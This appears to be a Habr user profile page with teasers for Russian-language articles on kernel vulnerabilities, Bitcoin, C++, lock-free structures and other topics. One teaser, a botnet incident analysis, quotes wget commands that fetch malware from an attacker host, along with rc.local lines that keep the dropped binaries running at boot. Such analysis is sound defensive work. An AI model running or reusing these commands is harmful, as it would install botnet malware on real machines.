Как стать автором
Обновить
22
0

lead posix sh developer >:)

Отправить сообщение

История о трёх уязвимостях ядра

Время на прочтение6 мин
Количество просмотров16K
Недавно Trustwave, фирма специализирующаяся на информационной безопасности, опубликовала анонс отчёта, в котором критикуется, как Linux-сообщество справляется с уязвимостями. В нём сказано: «Разработчики программного обеспечения сильно разнятся в своей способности реагировать и устранять уязвимости нулевого дня. В этом исследовании показано, что у разработчиков Linux худшее время реагирования: с момента обнаружения уязвимости до выхода патча в среднем проходит почти три года». Вне зависимости от того, насколько вы довольны обновлениями безопасности в Linux, три года — это гораздо больше, чем мы обычно ожидаем. Ваш покорный слуга решил исследовать ситуацию, сконцентрировавшись на двух уязвимостях, которые были включены в отчёт Trustwave и на одной, которой там не было.
Читать дальше →
Всего голосов 51: ↑43 и ↓8+35
Комментарии24

Разминка для шеи в терминале

Время на прочтение1 мин
Количество просмотров24K
Сегодня первое апреля, а значит, настало время глупых, жестоких и бессмысленных розыгрышей.
Поэтому буду краток.



Код и инструкция по установке

P.S. после небольшого допиливания можно заменить любую другую утилиту.
Всего голосов 67: ↑61 и ↓6+55
Комментарии16

АнтиБлог: дневник только для себя

Время на прочтение4 мин
Количество просмотров14K


Предисловие


Друзья, я, к моему глубочайшему сожалению, не умею писать красивые, длинные и складные статьи. Я всего лишь разработчик на C++. Некоторые даже говорят, что хороший. И вот случилась со мной неприятность — написал я программу, но рассказать о ней толково не могу. Рассказать так, чтобы люди захотели ей пользоваться. Нет, Вы не подумайте, это не первая моя программа, у меня за спиной восемь лет опыта на C++, десять лет программирования в принципе на многих языках. Просто именно сейчас я захотел разрабатывать не ради разработки, а ради того, чтобы моей программой пользовались люди, чтобы она была кому-то, кроме меня, полезной. Чтобы я знал, что я это делаю не только ради получения опыта, хотя это тоже очень ценно само по себе, но и ради того, чтобы кто-то, может в соседнем доме, а может на другом конце планеты, кликал по иконке моей программы. Мне бы, от осознания этого, было чертовски приятно. И не важно, какую именно задачу эта программа выполняет, важно лишь то, что она работает. Работает на благо людям. Ведь разработчики именно для того и есть на свете, чтобы их творения приносили пользу другим людям.
Читать дальше →
Всего голосов 63: ↑44 и ↓19+25
Комментарии53

Как я пытался взломать Bitcoin

Время на прочтение5 мин
Количество просмотров38K
Недавно тут была статья, в которой рассказывалось о попытке обхитрить биткоин, используя нейросеть. Я пошел другим путем, и у меня из этого практически-полезного результата не получилось, но несмотря на это, свой опыт я не считаю полной неудачей. Во-первых, не считаю потому, что глупо надеяться просто взять и взломать биткоин, а во-вторых потому, что ожидаемый результат был получен, а значит можно утверждать, что кое-каких успехов я все же добился. И поэтому, я решил поделиться наработками с читателями хабра.
Читать дальше →
Всего голосов 26: ↑12 и ↓14-2
Комментарии12

Dripstat — сервис мониторинга производительности JVM или MMO игра?

Время на прочтение4 мин
Количество просмотров22K
Приветствую, хабражители!

Сегодня я хочу рассказать вам про сервис, который обнаружил буквально недавно — Dripstat. Он позволяет установить на локальную JVM специальный java-агент, который собирает статистику работы сервера приложений и отправляет на сайт, где с ней можно детальнее ознакомиться.

Ну какие сервисы мониторинга? Сегодня суббота! — скажете вы, и будете правы. Более того, я даже поддержу эту мысль и в данной заметке расскажу как раз об обратной, развлекательной, стороне медали, и чуть-чуть о программировании на JS.



Итак, приглашаю дочитать тех кто заинтересовался.
Let's play!
Всего голосов 32: ↑27 и ↓5+22
Комментарии30

Зачем миру нужен OpenStreetMap

Время на прочтение5 мин
Количество просмотров79K
(Решил перевести популярную статью Serge Wroclawski об ОСМ. Хоть она и вышла в январе, перевода на Хабре я не видел.)

Каждый раз, когда я рассказываю кому-нибудь об OpenStreetMap, меня неизменно спрашивают «Почему бы не использовать Google Maps?» С практической точки зрения это вполне уместный вопрос, но на самом деле это не просто вопрос практичности, а вопрос того, в каком обществе мы хотим жить. Я обсуждал эту тему в 2008 году в моём докладе об OpenStreetMap, который я представил на первой встрече MappingDC. Здесь я хочу изложить те же мысли в расширенном варианте.

Читать дальше →
Всего голосов 100: ↑98 и ↓2+96
Комментарии92

Эдвард Сноуден на TED: Как нам вернуть Интернет (озвучка)

Время на прочтение2 мин
Количество просмотров96K
Совсем недавно в рамках конференции TED состоялось необычное мероприятие — лекцию читал человек, находившийся в другой стране.
При этом он спокойно перемещался по сцене, осматривал аудиторию и даже «пожимал» руку ведущему.
Каким образом? Объяснение (а также саму лекцию на русском языке) вы найдёте под катом.


Проглотить синюю таблетку
Всего голосов 140: ↑136 и ↓4+132
Комментарии144

Неопределенное поведение в C++

Время на прочтение9 мин
Количество просмотров62K
Достаточно сложной темой для программистов на С++ является undefined behavior. Даже опытные разработчики зачастую не могут четко сформулировать причины его возникновения. Статья призвана внести чуть больше ясности в этот вопрос.

Статья является ПЕРЕВОДОМ нескольких статей и выдержек из Стандарта по данной теме.

Что такое «точки следования»?

Стандарте сказано:
Точки следования (sequence points)– такие точки в процессе выполнения программы, в которых все побочные эффекты уже выполненного кода закончили свое действие, а побочные эффекты кода, подлежащего исполнению, еще не начали действовать. (§1.9/7)


Побочные эффекты? А что такое «побочные эффекты»?

Побочный эффект (side effect) (согласно Стандарту) – результат доступа к volatile объекту, изменения объекта, вызова функции из библиотеки I/O или же вызова функции, включающей в себя какие-то из этих действий. Побочный эффект является изменением состояния среды выполнения.

Вычисление некоторого выражения дает на выходе какой-то результат. Если же в дополнение к результату вычисление выражения вызывает изменения в среде выполнения, то говорят, что данное выражение имеет побочные эффекты.

Например:
Читать дальше →
Всего голосов 62: ↑57 и ↓5+52
Комментарии40

Дистрибутив, среда, оконный менеджер Линукса дома?

Время на прочтение1 мин
Количество просмотров43K
Цель опросов — узнать «расклад сил» на домашних компьютерах и ноутбуках. Во всех опросах можно выбирать несколько вариантов.

Первый опрос про операционные системы — не основная цель, добавил его, чтобы не обижать тех, кто не использует Линукс. Он не покажет реальное соотношение, потому что этот пост размещен только в хабах «Linux» и «Операционные системы».

Предыдущие опросы про дистрибутивы:
Какие дистрибутивы свободных ОС Вы используете? — 13 января 2010
Какие дистрибутивы Linux вы используете на десктопах? — 27 ноября 2011

Предыдущие опросы про рабочие среды и оболочки:
Ваша домашняя «рабочая среда»? — 15 июня 2007
Каким рабочим столом преимущественно пользуетесь? — 17 июля 2009
Какой рабочей средой вы обычно пользуетесь? — 11 января 2012
Ваша основная среда рабочего стола в linux — 22 мая 2012
Читать дальше →
Всего голосов 95: ↑76 и ↓19+57
Комментарии93

Lock-free структуры данных. Эволюция стека

Время на прочтение10 мин
Количество просмотров43K

В предыдущих своих заметках я описал основу, на которой строятся lock-free структуры данных, и базовые алгоритмы управления временем жизни элементов lock-free структур данных. Это была прелюдия к описанию собственно lock-free контейнеров. Но далее я столкнулся с проблемой: как построить дальнейший рассказ? Просто описывать известные мне алгоритмы? Это довольно скучно: много [псевдо-]кода, обилие деталей, важных, конечно, но весьма специфических. В конце концов, это есть в опубликованных работах, на которые я даю ссылки, и в гораздо более подробном и строгом изложении. Мне же хотелось рассказать интересно об интересных вещах, показать пути развития подходов к конструированию конкурентных контейнеров.
Хорошо, — подумал я, — тогда метод изложения должен быть такой: берем какой-то тип контейнера — очередь, map, hash map, — и делаем обзор известных на сегодняшний день оригинальных алгоритмов для этого типа контейнера. С чего начать? И тут я вспомнил о самой простой структуре данных — о стеке.
Читать дальше →
Всего голосов 73: ↑73 и ↓0+73
Комментарии14

Сетевые детективы: ищем причины скачков трафика и нагрузки

Время на прочтение6 мин
Количество просмотров31K
Предположим, у нас есть вот такая картина загрузки канала связи:


Что вызвало всплеск трафика? Что происходило в канале связи?

Действие происходит в крупном ЦОДе, например, банка. И в канале может оказаться как что угодно из тестовых сервисов, так и один из десятка бизнес-сервисов, а также — с равным успехом — бекап базы данных.

Если админ не совсем криворукий, а ситуация не очень хитрая, то минут за 10 можно будет выделить конкретные причины, создающие проблемы, и ещё минут за 15–20 проанализировать проблему. Если же ситуация сложнее (мы рассмотрим ещё пример ниже), то искать аномалии в поведении трафика можно сутками. С инструментарием обнаружения таких аномалий у нас на поиск проблемы в этом примере уйдёт 1 минута.
Читать дальше →
Всего голосов 42: ↑33 и ↓9+24
Комментарии6

Bitcoin: Децентрализованная электронная денежная система

Время на прочтение12 мин
Количество просмотров46K
Предлагаю вниманию сообщества вольный перевод оригинальной статьи Сатоси Накамото «Bitcoin: A Peer-to-Peer Electronic Cash System».

От переводчика:
Я не являюсь профессиональным переводчиком и плохо разбираюсь в криптографии, но вот недавно заинтересовался технологией Биткоин и захотел начать изучение с первооснов. Беглый поиск по интернету не дал мне перевода основополагающей статьи Сатоси Накамото и я решил попробовать перевести ее сам.
Вскоре после того как перевод был начат я понял, что английский язык, скорее всего, не является родным для автора статьи поскольку иногда было крайне трудно понять — что автор подразумевает и зачем в одном предложении так много частиц «and». Однако большинство трудностей удалось преодолеть и я решил представить сей конечный продукт публике.

Читать дальше →
Всего голосов 103: ↑73 и ↓30+43
Комментарии13

Логика мышления. Часть 10. Пространственная самоорганизация

Время на прочтение13 мин
Количество просмотров25K


Этот цикл статей описывает волновую модель мозга, серьезно отличающуюся от традиционных моделей. Настоятельно рекомендую тем, кто только присоединился, начинать чтение с первой части.

Мы исходим из того, что явления внешнего мира воздействуют на наши органы чувств, вызывая определенные потоки сигналов в нервных клетках. В процессе обучения кора приобретает способность детектировать определенные сочетания сигналов. Детекторами выступают нейроны, синаптические веса которых настраиваются на картины активности, соответствующие детектируемым явлениям. Нейроны коры следят за своим локальным окружением, образующим их локальное рецептивное поле. Информация на рецептивные поля нейронов поступает либо посредством топографической проекции, либо через распространение волн идентификаторов, несущих уникальные узоры, соответствующие уже выделенным признакам. Нейроны-детекторы, реагирующие на одно и то же сочетание признаков, образуют детекторные паттерны. Узоры этих паттернов определяют уникальные волны идентификаторов, которые эти паттерны запускают, приходя в состояние вызванной активности.

Читать дальше →
Всего голосов 35: ↑29 и ↓6+23
Комментарии13

Инструменты разработчика или Почему вы не используете X? Часть 1

Время на прочтение7 мин
Количество просмотров56K


Я видел много примеров, где для совместной разработки использовали dropbox, для отладки приложения после каждой строчки вставляли print, для автоматических тестов писали свои велосипеды (признаюсь, я и сам все это делал).

Это не правильно!

Сейчас в распоряжении программиста, пишет он на Python, C++, Haskell или Ruby, есть огромное количество различных инструментов, которые он может использовать в повседневной разработке.

Компиляторы, интерпретаторы, отладчики, профилировщики, генераторы документации, системы контроля версий, текстовые редакторы, автоматизаторы сборки, статические анализаторы, эмуляторы и виртуальные машины — все это в нашем распоряжении!

Однако, как оказывается множество разработчиков просто не знают, какие мощные инструменты они могут использовать.

Если вам интересно, как улучшить свою продуктивность, начать писать программы лучше, да и просто почитать что-то интересное — добро пожаловать под кат!
Читать дальше →
Всего голосов 110: ↑92 и ↓18+74
Комментарии100

Завершен перевод книги Эдди Османи «Паттерны для масштабируемых JavaScript-приложений»

Время на прочтение1 мин
Количество просмотров36K
Ура! Мы закончили работу над переводом замечательной книги об архитектуре JavaScript-приложения. Работать над переводом было очень приятно — мы получили около 40 пулл-реквестов от совершенно незнакомых нам людей, которые помогли исправить множество опечаток, неточностей и различных багов на сайте! Ссылка на наш перевод упоминалась в курсе «Фронтенд-разработка», читаемом во втором семестре Технопарка Mail.ru, а также в некоторых независимых подкастах.

В целом, реакция JavaScript-комьюнити нас очень приятно удивила, и сейчас мы думаем над возможностью перевода еще одной книги, но четкого плана еще нет.

Читать книгу можно на сайте перевода. Также можно скачать книгу в удобном формате: epub, mobi, fb2. Исходный код проекта доступен в репозитории на GitHub
Всего голосов 108: ↑102 и ↓6+96
Комментарии23

Исследуем Linux Botnet «BillGates»

Время на прочтение26 мин
Количество просмотров87K
image

Написал мне вчера lfatal1ty, говорит, домашний роутер на x86 с CentOS как-то странно себя ведет, грузит канал под гигабит, и какой-то странный процесс «atddd» загружает процессор. Решил я залезть и посмотреть, что же там творится, и сразу понял, что кто-то пробрался на сервер и совершает с ним непотребства всякие. В процессах висели wget-ы на домен dgnfd564sdf.com и процессы atddd, cupsdd, cupsddh, ksapdd, kysapdd, skysapdd и xfsdxd, запущенные из /etc:
Скрытый текст
root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

К сожалению, процессы не додумался скопировать

Начальный анализ


Сначала я полез смотреть, что же вообще происходит и насколько серьезно была скомпрометирована система. Первое, что мне пришло в голову проверить — /etc/rc.local. Там было следующее:
cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

«Хмм, ладно», подумал я. Полез в root'овский crontab
Читать дальше →
Всего голосов 150: ↑145 и ↓5+140
Комментарии72

Превращаем скучные логи Git'a в захватывающую анимацию

Время на прочтение3 мин
Количество просмотров39K


Каждый, кто посвятил себя работе с компьютерами, хоть раз, но сталкивался с распространёнными высказываниями вроде: «Помоги мне сделать %work%, ты ведь всё равно без дела за компом сидишь». Особенно часто в эту ситуацию попадаёшь, когда работаешь непосредственно в окружении коллег проделывающих ручную работу. Для этих людей ты зачастую представляешься воплощением безделия и главным пользователем youtube.
Сейчас я покажу вам один из приёмов, как превратиться в глазах сотрудников из лодыря в волшебника.
стать волшебником
Всего голосов 79: ↑46 и ↓33+13
Комментарии33

Javascript UPNP/DLNA сервер

Время на прочтение1 мин
Количество просмотров16K


По причине «интересно», на досуге, собрал простой upnp/dlna сервер. Написанных на javascript найти не удалось, а идея кажется интересной: один исходный код для всех платформ (спасибо node-webkit), javascript со всеми его достоинствами и недостатками, а также простота сборки. Можно легко собрать проект под все платформы в одной из них. Для этого написал скрипт на питоне, который все сделает сам, даже скачает необходимые файлы node-webkit. Хотелось снизить кол-во телодвижений необходимых для тех, кто захочет внести свою лепту в проект.

Скачать можно здесь, спасибо github за то, что вернули возможность хранить файлы. Умеют сделать людям хорошо. Еще немного текста можно найти под катом.

Читать дальше →
Всего голосов 25: ↑23 и ↓2+21
Комментарии13

MMORPG без лишних деталей

Время на прочтение4 мин
Количество просмотров30K


Здравствуйте, меня зовут Алексей и я независимый разработчик игр. Два года назад я уволился из Wargaming чтобы немного поэкспериментировать и сделать MMO игрушку, в которую мне было бы интересно играть. Со временем ко мне присоединилась пара замечательных людей — Александр и Елена Дедковы. Сейчас я кратко расскажу что получилось из этой затеи.
Читать дальше →
Всего голосов 74: ↑66 и ↓8+58
Комментарии34

Система мониторинга NetXMS

Время на прочтение1 мин
Количество просмотров57K
Вышла новая версия системы мониторинга сети NetXMS 1.2.7. Распространяемая по лицензии GPLv2.



Основные изменения в данной версии:
  • улучшена работа network discovery;
  • драйвер для свитчей Symbol/Motorola серии WS;
  • инвентаризация программного обеспечения (на данный момент только GNU/Debian и Windows);
  • поддержка WiFi свитчей;
  • многочисленные улучшения работы веб интерфейса и системы в целом.

Полный список изменений смотреть здесь.
Читать дальше →
Всего голосов 22: ↑20 и ↓2+18
Комментарии40

Информация

В рейтинге
Не участвует
Откуда
Россия
Зарегистрирован
Активность